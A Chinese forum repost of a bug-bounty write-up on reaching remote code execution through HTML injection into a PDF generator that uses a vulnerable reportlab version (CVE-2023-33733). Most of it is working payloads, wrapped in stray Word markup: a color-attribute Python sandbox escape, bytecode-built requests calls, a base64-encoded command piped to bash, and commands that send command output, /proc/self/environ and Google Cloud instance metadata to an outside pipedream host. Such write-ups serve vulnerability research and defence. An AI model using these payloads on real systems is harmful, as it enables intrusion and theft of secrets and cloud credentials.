安全矩阵

 找回密码
 立即注册
搜索
查看: 881|回复: 0

通过html注入实现CVE-2023-33733 RCE攻击

[复制链接]

215

主题

215

帖子

701

积分

高级会员

Rank: 4

积分
701
发表于 2023-10-29 16:23:10 | 显示全部楼层 |阅读模式
背景介绍
CVE-2023-33733 由Cure53 Elyas Damej 的渗透测试人员发现,本文将介绍国外一位白帽子通过采取哪些步骤,从确定目标使用什么库来生成PDF,最终又是如何实现 RCE的全过程。
目标简介
目标应用程序为牙医设计,可以上传患者的X光射线报告(支持PNG、JPG等格式),上传X射线图像后,可以编辑一些字段,如患者姓名、报告日期、评论等。在添加所有必需的详细信息后,还可以打印该X射线报告。
发现过程
首先在“生成报告”时抓包:
然后下载 PDF 报告并使用exiftool 来检查是否可以识别在 PDF 生成过程中使用了哪种软件或库,遗憾的是没能获得任何信息。
然后白帽子在 comment 参数中添加了一些 html 代码:
  1. "><img src=https://myhost>
复制代码

通过使用上面的payload来识别可能用来渲染 html 代码服务器端的库/浏览器。
当再次点击“生成报告”按钮时,请求失败,检查响应包,发现报错:
  1. <p class="MsoNormal"><span lang="EN-US">{<o:p></o:p></span></p>

  2. <p class="MsoNormal"><span lang="EN-US"> </span></p>

  3. <p class="MsoNormal"><span lang="EN-US">"\nparagraph text '<para>Note:
  4. <font color="#484848"><img
  5. src=x></font></para>' caused exception Parse error: saw
  6. </font> instead of expected </img>"<o:p></o:p></span></p>

  7. <p class="MsoNormal"><span lang="EN-US"> </span></p>

  8. <p class="MsoNormal"><span lang="EN-US">}<o:p></o:p></span></p>

  9. <p class="MsoNormal"><span lang="EN-US"> </span></p>

  10. <p class="MsoNormal"><span lang="EN-US">generic<o:p></o:p></span></p>

  11. <p class="MsoNormal"><span lang="EN-US"> </span></p>

  12. <p class="MsoNormal"><span lang="EN-US">155 Bytes<o:p></o:p></span></p>

  13. <p class="MsoNormal"><span lang="EN-US"> </span></p>

  14. <p class="MsoNormal"><span lang="EN-US">© Guge's Blog</span></p>
复制代码

看到这个错误,稍微有点经验的朋友估计心里都会开了花吧?
从报错来看,服务器似乎没有对用户输入进行有效清理,而是直接在 html 文件中使用了它们。
  1. <p class="MsoNormal"><span lang="EN-US"> </span></p>

  2. <p class="MsoNormal"><span lang="EN-US"><para>Note: <font
  3. color="#484848">{{comment}}</font></para><o:p></o:p></span></p>

  4. <p class="MsoNormal"><span lang="EN-US"> </span></p>

  5. <p class="MsoNormal"><span lang="EN-US">generic<o:p></o:p></span></p>

  6. <p class="MsoNormal"><span lang="EN-US"> </span></p>

  7. <p class="MsoNormal"><span lang="EN-US">59 Bytes<o:p></o:p></span></p>

  8. <p class="MsoNormal"><span lang="EN-US"> </span></p>

  9. <p class="MsoNormal"><span lang="EN-US">© Guge's Blog</span></p>
复制代码

因为没有有效的过滤清理,那么 {{comment}} 将被视为用户可控输入的占位符,然后将其传递到 pdf 生成库并将其转换为 pdf时就可以包含任意 html。
另外从报错信息中可以看出,由于输入了<img sr=x> ,库的 html 解析器无法解析提供的 html,因为它没有匹配的结束标记。
  1. <p class="MsoNormal"><span lang="EN-US"><img src=https://myhost
  2. onerror=alert()></span></p>
复制代码

在更换了上述payload后,显示了不同的错误消息,由于在 src 属性中添加了白帽子的个人服务器地址,当图像标记呈现时,请求将发送到白帽子的个人服务器,那么日志也许能告诉我们一些有关 User-Agent 的信息。
  1. <p class="MsoNormal"><span lang="EN-US">["\nparagraph text '<para>Note:
  2. <font color="#484848">test"><img
  3. src=https://myhost onerror=alert()></font></para>' caused
  4. exception paraparser: syntax error: invalid attribute name onerror attrMap=['height',
  5. 'src', 'valign', 'width']"]</span></p>
复制代码

报错信息已经非常清晰的描述了问题所在,onerror 属性不在 attrMap 列表中,这就是触发报错的根本原因。
删除 onerror 属性再次测试:
  1. User-Agent: Python-urllib/3.10
复制代码

酷!后端是 python,当谈到python 时,用于生成 pdf 的最流行的库之一就是reportlab (https://www.reportlab.com/)
白帽子过去曾尝试研究这个库的源代码,试图在其中找到一些0day,但由于源代码审查并不是很擅长,所以最终以失败告终。但毕竟对reportlab还是有一些基本了解的,因此白帽子复制了错误消息的一部分并开始在源代码中进行了搜索。
很快便在 invalid attribute namehttps://github.com/search?q=repo ... me%22&type=code中找到了匹配信息。
   def getAttributes(self,attr,attrMap):


  1. <p class="MsoNormal"><span lang="EN-US"> </span></p>

  2. <p class="MsoNormal"><span lang="EN-US">      
  3. A = {}<o:p></o:p></span></p>

  4. <p class="MsoNormal"><span lang="EN-US"> </span></p>

  5. <p class="MsoNormal"><span lang="EN-US">      
  6. for k, v in attr.items():<o:p></o:p></span></p>

  7. <p class="MsoNormal"><span lang="EN-US"> </span></p>

  8. <p class="MsoNormal"><span lang="EN-US">           
  9. if not self.caseSensitive:<o:p></o:p></span></p>

  10. <p class="MsoNormal"><span lang="EN-US"> </span></p>

  11. <p class="MsoNormal"><span lang="EN-US">                k = k.lower()<o:p></o:p></span></p>

  12. <p class="MsoNormal"><span lang="EN-US"> </span></p>

  13. <p class="MsoNormal"><span lang="EN-US">           
  14. if k in attrMap:<o:p></o:p></span></p>

  15. <p class="MsoNormal"><span lang="EN-US"> </span></p>

  16. <p class="MsoNormal"><span lang="EN-US">                j = attrMap[k]<o:p></o:p></span></p>

  17. <p class="MsoNormal"><span lang="EN-US"> </span></p>

  18. <p class="MsoNormal"><span lang="EN-US">                func = j[1]<o:p></o:p></span></p>

  19. <p class="MsoNormal"><span lang="EN-US"> </span></p>

  20. <p class="MsoNormal"><span lang="EN-US">                if func is not None:<o:p></o:p></span></p>

  21. <p class="MsoNormal"><span lang="EN-US"> </span></p>

  22. <p class="MsoNormal"><span lang="EN-US">                    #it's a function<o:p></o:p></span></p>

  23. <p class="MsoNormal"><span lang="EN-US"> </span></p>

  24. <p class="MsoNormal"><span lang="EN-US">                    v = func(self,v) if
  25. isinstance(func,_ExValidate) else func(v)<o:p></o:p></span></p>

  26. <p class="MsoNormal"><span lang="EN-US"> </span></p>

  27. <p class="MsoNormal"><span lang="EN-US">                A[j[0]] = v<o:p></o:p></span></p>

  28. <p class="MsoNormal"><span lang="EN-US"> </span></p>

  29. <p class="MsoNormal"><span lang="EN-US">           
  30. else:<o:p></o:p></span></p>

  31. <p class="MsoNormal"><span lang="EN-US"> </span></p>

  32. <p class="MsoNormal"><span lang="EN-US">                self._syntax_error('invalid
  33. attribute name %s attrMap=%r'% (k,list(sorted(attrMap.keys()))))<o:p></o:p></span></p>

  34. <p class="MsoNormal"><span lang="EN-US"> </span></p>

  35. <p class="MsoNormal"><span lang="EN-US">generic<o:p></o:p></span></p>

  36. <p class="MsoNormal"><span lang="EN-US"> </span></p>

  37. <p class="MsoNormal"><span lang="EN-US">558 Bytes<o:p></o:p></span></p>

  38. <p class="MsoNormal"><span lang="EN-US"> </span></p>

  39. <p class="MsoNormal"><span lang="EN-US">© Guge's Blog</span></p>
复制代码

这与网站中显示的错误消息完全匹配。
研究人员 Elyas 分享了Payload如何工作的完整详细信息,如有兴趣,可移步:https://github.com/c53elyas/CVE-2023-33733
  1. <p class="MsoNormal"><span lang="EN-US"><para><font
  2. color="[[[getattr(pow, Word('__globals__'))['os'].system('touch
  3. /tmp/exploited') for Word in [ orgTypeFun( 'Word', (str,), { 'mutated': 1,
  4. 'startswith': lambda self, x: 1 == 0, '__eq__': lambda self, x: self.mutate()
  5. and self.mutated < 0 and str(self) == x, 'mutate': lambda self: {
  6. setattr(self, 'mutated', self.mutated - 1) }, '__hash__': lambda self:
  7. hash(str(self)), }, ) ] ] for orgTypeFun in [type(type(1))] for none in
  8. [[].append(1)]]] and 'red'"><o:p></o:p></span></p>

  9. <p class="MsoNormal"><span lang="EN-US"> </span></p>

  10. <p class="MsoNormal"><span lang="EN-US">                exploit<o:p></o:p></span></p>

  11. <p class="MsoNormal"><span lang="EN-US"> </span></p>

  12. <p class="MsoNormal"><span lang="EN-US"></font></para><o:p></o:p></span></p>

  13. <p class="MsoNormal"><span lang="EN-US"> </span></p>

  14. <p class="MsoNormal"><span lang="EN-US">generic<o:p></o:p></span></p>

  15. <p class="MsoNormal"><span lang="EN-US"> </span></p>

  16. <p class="MsoNormal"><span lang="EN-US">505 Bytes<o:p></o:p></span></p>

  17. <p class="MsoNormal"><span lang="EN-US"> </span></p>

  18. <p class="MsoNormal"><span lang="EN-US">© Guge's Blog<o:p></o:p></span></p>

  19. <p class="MsoNormal"><span lang="EN-US"> </span></p>

  20. <p class="MsoNormal">在阅读<span lang="EN-US">Elyas</span>的文章后,白帽子开始尝试理解这个<span lang="EN-US">payload</span>,虽然阅读起来有难度,但通过<span lang="EN-US"> python </span>控制台来逐行执行它,对于后来的理解很有帮助。<span lang="EN-US"><o:p></o:p></span></p>

  21. <p class="MsoNormal"><span lang="EN-US"> </span></p>

  22. <p class="MsoNormal">在确认了使用<span lang="EN-US">reportlab</span>库之后,白帽子使用了以下<span lang="EN-US">payload</span>来确认它是否确实使用了存在漏洞的版本:<span lang="EN-US"><o:p></o:p></span></p>

  23. <p class="MsoNormal"><span lang="EN-US"> </span></p>

  24. <p class="MsoNormal"><span lang="EN-US"><para><o:p></o:p></span></p>

  25. <p class="MsoNormal"><span lang="EN-US"> </span></p>

  26. <p class="MsoNormal"><span lang="EN-US">              <font color="[ [
  27. getattr(pow,Word('__globals__'))['os'].system('curl https://myhost.com') for
  28. Word in [orgTypeFun('Word', (str,), { 'mutated': 1, 'startswith': lambda self,
  29. x: False, '__eq__': lambda self,x: self.mutate() and self.mutated < 0 and
  30. str(self) == x, 'mutate': lambda self: {setattr(self, 'mutated', self.mutated -
  31. 1)}, '__hash__': lambda self: hash(str(self)) })] ] for orgTypeFun in
  32. [type(type(1))] ] and 'red'"><o:p></o:p></span></p>

  33. <p class="MsoNormal"><span lang="EN-US"> </span></p>

  34. <p class="MsoNormal"><span lang="EN-US">                exploit<o:p></o:p></span></p>

  35. <p class="MsoNormal"><span lang="EN-US"> </span></p>

  36. <p class="MsoNormal"><span lang="EN-US">                </font><o:p></o:p></span></p>

  37. <p class="MsoNormal"><span lang="EN-US"> </span></p>

  38. <p class="MsoNormal"><span lang="EN-US">           
  39. </para><o:p></o:p></span></p>

  40. <p class="MsoNormal"><span lang="EN-US"> </span></p>

  41. <p class="MsoNormal"><span lang="EN-US">generic<o:p></o:p></span></p>

  42. <p class="MsoNormal"><span lang="EN-US"> </span></p>

  43. <p class="MsoNormal"><span lang="EN-US">515 Bytes<o:p></o:p></span></p>

  44. <p class="MsoNormal"><span lang="EN-US"> </span></p>

  45. <p class="MsoNormal"><span lang="EN-US">© Guge's Blog<o:p></o:p></span></p>

  46. <p class="MsoNormal"></p>
复制代码


它并没起作用,pdf 已成功生成,但没有 pingbacks 发送到研究人员的服务器。而后白帽子将curl命令更改为ping,wget,希望至少能够获得DNS交互,但依然失败。
这时白帽子开始怀疑应用程序是否真的使用了存在漏洞版本的库,在找到这个答案前,只能通过本地设置来完成了。
白帽子使用 Elyas 存储库中易受攻击的代码,以帮助他可以在本地确认该漏洞:https://github.com/c53elyas/CVE- ... njection-poc/poc.py
  1. <p class="MsoNormal"><span lang="EN-US">from reportlab.platypus import
  2. SimpleDocTemplate, Paragraph<o:p></o:p></span></p>

  3. <p class="MsoNormal"><span lang="EN-US"> </span></p>

  4. <p class="MsoNormal"><span lang="EN-US">from io import BytesIO<o:p></o:p></span></p>

  5. <p class="MsoNormal"><span lang="EN-US"> </span></p>

  6. <p class="MsoNormal"><span lang="EN-US">stream_file = BytesIO()<o:p></o:p></span></p>

  7. <p class="MsoNormal"><span lang="EN-US"> </span></p>

  8. <p class="MsoNormal"><span lang="EN-US">content = []<o:p></o:p></span></p>

  9. <p class="MsoNormal"><span lang="EN-US"> </span></p>

  10. <p class="MsoNormal"><span lang="EN-US"> </span></p>

  11. <p class="MsoNormal"><span lang="EN-US">def add_paragraph(text, content):<o:p></o:p></span></p>

  12. <p class="MsoNormal"><span lang="EN-US"> </span></p>

  13. <p class="MsoNormal"><span lang="EN-US">   
  14. """ Add paragraph to document content"""<o:p></o:p></span></p>

  15. <p class="MsoNormal"><span lang="EN-US"> </span></p>

  16. <p class="MsoNormal"><span lang="EN-US">   
  17. content.append(Paragraph(text))<o:p></o:p></span></p>

  18. <p class="MsoNormal"><span lang="EN-US"> </span></p>

  19. <p class="MsoNormal"><span lang="EN-US"> </span></p>

  20. <p class="MsoNormal"><span lang="EN-US">def get_document_template(stream_file:
  21. BytesIO):<o:p></o:p></span></p>

  22. <p class="MsoNormal"><span lang="EN-US"> </span></p>

  23. <p class="MsoNormal"><span lang="EN-US">   
  24. """ Get SimpleDocTemplate """<o:p></o:p></span></p>

  25. <p class="MsoNormal"><span lang="EN-US"> </span></p>

  26. <p class="MsoNormal"><span lang="EN-US">   
  27. return SimpleDocTemplate(stream_file)<o:p></o:p></span></p>

  28. <p class="MsoNormal"><span lang="EN-US"> </span></p>

  29. <p class="MsoNormal"><span lang="EN-US"> </span></p>

  30. <p class="MsoNormal"><span lang="EN-US">def build_document(document, content,
  31. **props):<o:p></o:p></span></p>

  32. <p class="MsoNormal"><span lang="EN-US"> </span></p>

  33. <p class="MsoNormal"><span lang="EN-US">   
  34. """ Build pdf document based on elements added in
  35. `content`"""<o:p></o:p></span></p>

  36. <p class="MsoNormal"><span lang="EN-US"> </span></p>

  37. <p class="MsoNormal"><span lang="EN-US">   
  38. document.build(content, **props)<o:p></o:p></span></p>

  39. <p class="MsoNormal"><span lang="EN-US"> </span></p>

  40. <p class="MsoNormal"><span lang="EN-US"> </span></p>

  41. <p class="MsoNormal"><span lang="EN-US">doc = get_document_template(stream_file)<o:p></o:p></span></p>

  42. <p class="MsoNormal"><span lang="EN-US"> </span></p>

  43. <p class="MsoNormal"><span lang="EN-US">#<o:p></o:p></span></p>

  44. <p class="MsoNormal"><span lang="EN-US"> </span></p>

  45. <p class="MsoNormal"><span lang="EN-US"># THE INJECTED PYTHON CODE THAT IS PASSED
  46. TO THE COLOR EVALUATOR<o:p></o:p></span></p>

  47. <p class="MsoNormal"><span lang="EN-US"> </span></p>

  48. <p class="MsoNormal"><span lang="EN-US">#[<o:p></o:p></span></p>

  49. <p class="MsoNormal"><span lang="EN-US"> </span></p>

  50. <p class="MsoNormal"><span lang="EN-US">#   
  51. [<o:p></o:p></span></p>

  52. <p class="MsoNormal"><span lang="EN-US"> </span></p>

  53. <p class="MsoNormal"><span lang="EN-US">#      
  54. getattr(pow, Word('__globals__'))['os'].system('touch /tmp/exploited')<o:p></o:p></span></p>

  55. <p class="MsoNormal"><span lang="EN-US"> </span></p>

  56. <p class="MsoNormal"><span lang="EN-US">#      
  57. for Word in [<o:p></o:p></span></p>

  58. <p class="MsoNormal"><span lang="EN-US"> </span></p>

  59. <p class="MsoNormal"><span lang="EN-US">#           
  60. orgTypeFun(<o:p></o:p></span></p>

  61. <p class="MsoNormal"><span lang="EN-US"> </span></p>

  62. <p class="MsoNormal"><span lang="EN-US">#                'Word',<o:p></o:p></span></p>

  63. <p class="MsoNormal"><span lang="EN-US"> </span></p>

  64. <p class="MsoNormal"><span lang="EN-US">#                (str,),<o:p></o:p></span></p>

  65. <p class="MsoNormal"><span lang="EN-US"> </span></p>

  66. <p class="MsoNormal"><span lang="EN-US">#                {<o:p></o:p></span></p>

  67. <p class="MsoNormal"><span lang="EN-US"> </span></p>

  68. <p class="MsoNormal"><span lang="EN-US">#                    'mutated': 1,<o:p></o:p></span></p>

  69. <p class="MsoNormal"><span lang="EN-US"> </span></p>

  70. <p class="MsoNormal"><span lang="EN-US">#                    'startswith': lambda self,
  71. x: False,<o:p></o:p></span></p>

  72. <p class="MsoNormal"><span lang="EN-US"> </span></p>

  73. <p class="MsoNormal"><span lang="EN-US">#                    '__eq__': lambda self, x:
  74. self.mutate()<o:p></o:p></span></p>

  75. <p class="MsoNormal"><span lang="EN-US"> </span></p>

  76. <p class="MsoNormal"><span lang="EN-US">#                    and self.mutated < 0<o:p></o:p></span></p>

  77. <p class="MsoNormal"><span lang="EN-US"> </span></p>

  78. <p class="MsoNormal"><span lang="EN-US">#                    and str(self) == x,<o:p></o:p></span></p>

  79. <p class="MsoNormal"><span lang="EN-US"> </span></p>

  80. <p class="MsoNormal"><span lang="EN-US">#                    'mutate': lambda self:
  81. {setattr(self, 'mutated', self.mutated - 1)},<o:p></o:p></span></p>

  82. <p class="MsoNormal"><span lang="EN-US"> </span></p>

  83. <p class="MsoNormal"><span lang="EN-US">#                    '__hash__': lambda self:
  84. hash(str(self)),<o:p></o:p></span></p>

  85. <p class="MsoNormal"><span lang="EN-US"> </span></p>

  86. <p class="MsoNormal"><span lang="EN-US">#                },<o:p></o:p></span></p>

  87. <p class="MsoNormal"><span lang="EN-US"> </span></p>

  88. <p class="MsoNormal"><span lang="EN-US">#           
  89. )<o:p></o:p></span></p>

  90. <p class="MsoNormal"><span lang="EN-US"> </span></p>

  91. <p class="MsoNormal"><span lang="EN-US">#      
  92. ]<o:p></o:p></span></p>

  93. <p class="MsoNormal"><span lang="EN-US"> </span></p>

  94. <p class="MsoNormal"><span lang="EN-US">#   
  95. ]<o:p></o:p></span></p>

  96. <p class="MsoNormal"><span lang="EN-US"> </span></p>

  97. <p class="MsoNormal"><span lang="EN-US">#   
  98. for orgTypeFun in [type(type(1))]<o:p></o:p></span></p>

  99. <p class="MsoNormal"><span lang="EN-US"> </span></p>

  100. <p class="MsoNormal"><span lang="EN-US">#]<o:p></o:p></span></p>

  101. <p class="MsoNormal"><span lang="EN-US"> </span></p>

  102. <p class="MsoNormal"><span lang="EN-US"> </span></p>

  103. <p class="MsoNormal"><span lang="EN-US">add_paragraph("""<o:p></o:p></span></p>

  104. <p class="MsoNormal"><span lang="EN-US"> </span></p>

  105. <p class="MsoNormal"><span lang="EN-US">           
  106. <para><o:p></o:p></span></p>

  107. <p class="MsoNormal"><span lang="EN-US"> </span></p>

  108. <p class="MsoNormal"><span lang="EN-US">              <font color="[ [
  109. getattr(pow,Word('__globals__'))['os'].system('touch /tmp/exploited') for Word
  110. in [orgTypeFun('Word', (str,), { 'mutated': 1, 'startswith': lambda self, x:
  111. False, '__eq__': lambda self,x: self.mutate() and self.mutated < 0 and
  112. str(self) == x, 'mutate': lambda self: {setattr(self, 'mutated', self.mutated -
  113. 1)}, '__hash__': lambda self: hash(str(self)) })] ] for orgTypeFun in
  114. [type(type(1))] ] and 'red'"><o:p></o:p></span></p>

  115. <p class="MsoNormal"><span lang="EN-US"> </span></p>

  116. <p class="MsoNormal"><span lang="EN-US">                exploit<o:p></o:p></span></p>

  117. <p class="MsoNormal"><span lang="EN-US"> </span></p>

  118. <p class="MsoNormal"><span lang="EN-US">                </font><o:p></o:p></span></p>

  119. <p class="MsoNormal"><span lang="EN-US"> </span></p>

  120. <p class="MsoNormal"><span lang="EN-US">           
  121. </para>""", content)<o:p></o:p></span></p>

  122. <p class="MsoNormal"><span lang="EN-US"> </span></p>

  123. <p class="MsoNormal"><span lang="EN-US">build_document(doc, content)<o:p></o:p></span></p>

  124. <p class="MsoNormal"><span lang="EN-US"> </span></p>

  125. <p class="MsoNormal"><span lang="EN-US">generic<o:p></o:p></span></p>

  126. <p class="MsoNormal"><span lang="EN-US"> </span></p>

  127. <p class="MsoNormal"><span lang="EN-US">1.86 KB<o:p></o:p></span></p>

  128. <p class="MsoNormal"><span lang="EN-US"> </span></p>

  129. <p class="MsoNormal"><span lang="EN-US">© Guge's Blog</span></p>
复制代码

可以看到该漏洞在reportlab v3.6.12中被成功触发。
那么让我们来看看修复版本中会发生什么:
看到错误了吗?漏洞利用失败。
当在目标中使用相同的 poc 时,没有显示错误,pdf 已成功生成,这表明他们确实使用易受攻击的版本,否则会显示错误。
另一位白帽@rootxharsh曾遇到了类似的情况,其中curl,wget,ping不起作用,因此得出的结论是Chrome 浏览器进程可能是在启用了沙盒的情况下运行的,但事实上后来当另一位白帽@iamnoooob做同样检测时,他使用了反弹 shell 成功收到回调信息。
因此回到目标应用中,curl 等不起作用,那么为什么不尝试使用 python requests 模块呢?
  1. <p class="MsoNormal"><span lang="EN-US"><font color="[ [ [ [ ftype(ctype(0,
  2. 0, 0, 0, 3, 67,
  3. b't\\x00d\\x01\\x83\\x01\\xa0\\x01d\\x02\\xa1\\x01\\x01\\x00d\\x00S\\x00',
  4. (None, 'requests', 'https://myhost'), ('__import__','get'), (),
  5. '<stdin>', '', 1, b'\\x12\\x01'), {})() for ftype in [type(lambda: None)]
  6. ] for ctype in [type(getattr(lambda: {None}, Word('__code__')))] ] for Word in
  7. [orgTypeFun('Word', (str,), { 'mutated': 1, 'startswith': lambda self, x:
  8. False, '__eq__': lambda self,x: self.mutate() and self.mutated < 0 and str(self)
  9. == x, 'mutate': lambda self: {setattr(self, 'mutated', self.mutated - 1)},
  10. '__hash__': lambda self: hash(str(self)) })] ] for orgTypeFun in
  11. [type(type(1))]] and 'red'">exploit</font><o:p></o:p></span></p>

  12. <p class="MsoNormal"><span lang="EN-US"> </span></p>

  13. <p class="MsoNormal"><span lang="EN-US">generic<o:p></o:p></span></p>

  14. <p class="MsoNormal"><span lang="EN-US"> </span></p>

  15. <p class="MsoNormal"><span lang="EN-US">681 Bytes<o:p></o:p></span></p>

  16. <p class="MsoNormal"><span lang="EN-US"> </span></p>

  17. <p class="MsoNormal"><span lang="EN-US">© Guge's Blog</span></p>
复制代码

替换了payload后,白帽子在他的服务器上成功地收到了pingbank:
  1. User-Agent: python-requests/2.31.0
复制代码
这也证明了我们可以在系统上实现任意代码执行,再次修改 poc 并依靠它来将命令输出发送到白帽子的服务器:
  1. <p class="MsoNormal"><span lang="EN-US">python3 -c "import
  2. requests;requests.get('https://en2celq7rewbul.m.pipedream.net/$(id)')"<o:p></o:p></span></p>

  3. <p class="MsoNormal"><span lang="EN-US"> </span></p>

  4. <p class="MsoNormal"><span lang="EN-US">generic<o:p></o:p></span></p>

  5. <p class="MsoNormal"><span lang="EN-US"> </span></p>

  6. <p class="MsoNormal"><span lang="EN-US">89 Bytes<o:p></o:p></span></p>

  7. <p class="MsoNormal"><span lang="EN-US"> </span></p>

  8. <p class="MsoNormal"><span lang="EN-US">© Guge's Blog</span></p>
复制代码

  1. <p class="MsoNormal"><span lang="EN-US">python3 -c "import
  2. requests;requests.get('https://en2celq7rewbul.m.pipedream.net/$(cat
  3. /proc/self/environ)')"<o:p></o:p></span></p>

  4. <p class="MsoNormal"><span lang="EN-US"> </span></p>

  5. <p class="MsoNormal"><span lang="EN-US">generic<o:p></o:p></span></p>

  6. <p class="MsoNormal"><span lang="EN-US"> </span></p>

  7. <p class="MsoNormal"><span lang="EN-US">109 Bytes<o:p></o:p></span></p>

  8. <p class="MsoNormal"><span lang="EN-US"> </span></p>

  9. <p class="MsoNormal"><span lang="EN-US">© Guge's Blog<o:p></o:p></span></p>

  10. <p class="MsoNormal"><span lang="EN-US"> </span></p>

  11. <p class="MsoNormal"><span lang="EN-US">(None, 'os', 'echo
  12. cHl0aG9uMyAtYyAiaW1wb3J0IHJlcXVlc3RzO3JlcXVlc3RzLmdldCgnaHR0cHM6Ly9lbjJjZWxyN3Jld2J1bC5tLnBpcGVkcmVhbS5uZXQvJChjYXQgL3Byb2Mvc2VsZi9lbnZpcm9uKScpIg==
  13. | base64 -d|bash'), ('__import__', 'system')<o:p></o:p></span></p>

  14. <p class="MsoNormal"><span lang="EN-US"> </span></p>

  15. <p class="MsoNormal"><span lang="EN-US">generic<o:p></o:p></span></p>

  16. <p class="MsoNormal"><span lang="EN-US"> </span></p>

  17. <p class="MsoNormal"><span lang="EN-US">212 Bytes<o:p></o:p></span></p>

  18. <p class="MsoNormal"><span lang="EN-US"> </span></p>

  19. <p class="MsoNormal"><span lang="EN-US">© Guge's Blog<o:p></o:p></span></p>

  20. <p class="MsoNormal"><span lang="EN-US"> </span></p>

  21. <p class="MsoNormal"><span lang="EN-US"><font color="[ [ [ [ ftype(ctype(0,
  22. 0, 0, 0, 3, 67,
  23. b't\\x00d\\x01\\x83\\x01\\xa0\\x01d\\x02\\xa1\\x01\\x01\\x00d\\x00S\\x00',
  24. (None, 'os', 'echo
  25. cHl0aG9uMyAtYyAiaW1wb3J0IHJlcXVlc3RzO3JlcXVlc3RzLmdldCgnaHR0cHM6Ly9lbjJjZWxyN3Jld2J1bC5tLnBpcGVkcmVhbS5uZXQvJChjYXQgL3Byb2Mvc2VsZi9lbnZpcm9uKScpIg==
  26. | base64 -d|bash'), ('__import__', 'system'), (), '<stdin>', '', 1,
  27. b'\\x12\\x01'), {})() for ftype in [type(lambda: None)] ] for ctype in
  28. [type(getattr(lambda: {None}, Word('__code__')))] ] for Word in [orgTypeFun('Word',
  29. (str,), { 'mutated': 1, 'startswith': lambda self, x: False, '__eq__': lambda
  30. self,x: self.mutate() and self.mutated < 0 and str(self) == x, 'mutate':
  31. lambda self: {setattr(self, 'mutated', self.mutated - 1)}, '__hash__': lambda
  32. self: hash(str(self)) })] ] for orgTypeFun in [type(type(1))]] and
  33. 'red'">exploit</font><o:p></o:p></span></p>

  34. <p class="MsoNormal"><span lang="EN-US"> </span></p>

  35. <p class="MsoNormal"><span lang="EN-US">generic<o:p></o:p></span></p>

  36. <p class="MsoNormal"><span lang="EN-US"> </span></p>

  37. <p class="MsoNormal"><span lang="EN-US">835 Bytes<o:p></o:p></span></p>

  38. <p class="MsoNormal"><span lang="EN-US"> </span></p>

  39. <p class="MsoNormal"><span lang="EN-US">© Guge's Blog<o:p></o:p></span></p>

  40. <p class="MsoNormal"><span lang="EN-US"> </span></p>

  41. <p class="MsoNormal"><span lang="EN-US">/proc/self/environ </span>的内容非常非常敏感,由于负责生成<span lang="EN-US"> pdf </span>的服务器托管在<span lang="EN-US"> Google Cloud </span>上,我们还可以获取<span lang="EN-US">Metadata </span>响应,为了确认这一点,白帽子使用了如下<span lang="EN-US">payload</span>进行测试:<span lang="EN-US"><o:p></o:p></span></p>

  42. <p class="MsoNormal"><span lang="EN-US"> </span></p>

  43. <p class="MsoNormal"><span lang="EN-US">python3 -c "import requests;import
  44. base64;metadata_url =
  45. 'http://169.254.169.254/computeMetadata/v1/instance/?recursive=true';metadata_headers
  46. = {'Metadata-Flavor': 'Google'};response = requests.get(metadata_url,
  47. headers=metadata_headers);encoded_metadata =
  48. base64.b64encode(response.text.encode()).decode();target_server_url =
  49. 'https://en2celq7rewbul.m.pipedream.net/';data_payload = {'metadata':
  50. encoded_metadata};requests.post(target_server_url, json=data_payload)"<o:p></o:p></span></p>

  51. <p class="MsoNormal"><span lang="EN-US"> </span></p>

  52. <p class="MsoNormal"><span lang="EN-US">generic<o:p></o:p></span></p>

  53. <p class="MsoNormal"><span lang="EN-US"> </span></p>

  54. <p class="MsoNormal"><span lang="EN-US">468 Bytes<o:p></o:p></span></p>

  55. <p class="MsoNormal"><span lang="EN-US"> </span></p>

  56. <p class="MsoNormal"><span lang="EN-US">© Guge's Blog<o:p></o:p></span></p>

  57. <p class="MsoNormal"><span lang="EN-US"> </span></p>
复制代码

经过美化后的PoC:

  1. <p class="MsoNormal"><span lang="EN-US"></span></p>



  2. <p class="MsoNormal"><span lang="EN-US"> </span></p>import requests

  3. <p class="MsoNormal"><span lang="EN-US">import base64<o:p></o:p></span></p>

  4. <p class="MsoNormal"><span lang="EN-US"> </span></p>

  5. <p class="MsoNormal"><span lang="EN-US"> </span></p>

  6. <p class="MsoNormal"><span lang="EN-US">metadata_url =
  7. 'http://169.254.169.254/computeMetadata/v1/instance/?recursive=true'<o:p></o:p></span></p>

  8. <p class="MsoNormal"><span lang="EN-US"> </span></p>

  9. <p class="MsoNormal"><span lang="EN-US"> </span></p>

  10. <p class="MsoNormal"><span lang="EN-US">metadata_headers = {'Metadata-Flavor':
  11. 'Google'} # custom metadata header requirement we have RCE so we could add it
  12. easily ;)<o:p></o:p></span></p>

  13. <p class="MsoNormal"><span lang="EN-US"> </span></p>

  14. <p class="MsoNormal"><span lang="EN-US"> </span></p>

  15. <p class="MsoNormal"><span lang="EN-US">response = requests.get(metadata_url,
  16. headers=metadata_headers)<o:p></o:p></span></p>

  17. <p class="MsoNormal"><span lang="EN-US"> </span></p>

  18. <p class="MsoNormal"><span lang="EN-US"> </span></p>

  19. <p class="MsoNormal"><span lang="EN-US">encoded_metadata =
  20. base64.b64encode(response.text.encode()).decode()<o:p></o:p></span></p>

  21. <p class="MsoNormal"><span lang="EN-US"> </span></p>

  22. <p class="MsoNormal"><span lang="EN-US"> </span></p>

  23. <p class="MsoNormal"><span lang="EN-US">target_server_url =
  24. 'https://en2celq7rewbul.m.pipedream.net/'<o:p></o:p></span></p>

  25. <p class="MsoNormal"><span lang="EN-US"> </span></p>

  26. <p class="MsoNormal"><span lang="EN-US"> </span></p>

  27. <p class="MsoNormal"><span lang="EN-US">data_payload = {'metadata':
  28. encoded_metadata}<o:p></o:p></span></p>

  29. <p class="MsoNormal"><span lang="EN-US"> </span></p>

  30. <p class="MsoNormal"><span lang="EN-US"> </span></p>

  31. <p class="MsoNormal"><span lang="EN-US">requests.post(target_server_url,
  32. json=data_payload)<o:p></o:p></span></p>

  33. <p class="MsoNormal"><span lang="EN-US"> </span></p>

  34. <p class="MsoNormal"><span lang="EN-US">generic<o:p></o:p></span></p>

  35. <p class="MsoNormal"><span lang="EN-US"> </span></p>

  36. <p class="MsoNormal"><span lang="EN-US">540 Bytes<o:p></o:p></span></p>

  37. <p class="MsoNormal"><span lang="EN-US"> </span></p>

  38. <p class="MsoNormal"><span lang="EN-US">© Guge's Blog</span></p>
复制代码

上面的代码可以向 Google 云Metadata端点发出请求,然后将 json 响应发送到白帽子的服务器(base64 编码)。
